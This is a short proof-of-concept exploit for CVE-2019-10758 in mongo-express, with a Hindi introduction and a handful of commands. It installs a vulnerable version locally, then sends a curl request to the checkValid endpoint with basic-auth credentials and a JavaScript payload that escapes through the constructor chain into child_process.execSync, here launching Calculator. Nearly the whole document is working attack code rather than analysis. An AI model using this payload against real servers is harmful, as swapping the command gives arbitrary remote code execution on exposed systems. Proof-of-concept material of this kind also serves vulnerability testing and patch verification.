
CVE-2019-10758 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो निर्मित दस्तावेज़ इंजेक्शन के माध्यम से mongo-express में दूरस्थ कोड निष्पादन प्रदर्शित करता है। इसमें curl और स्क्रिप्ट-आधारित पेलोड शामिल हैं।
docker run -p 27017:27017 -d mongo
npm install [email protected]
cd node_modules/mongo-express/ && node app.js
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
node main.js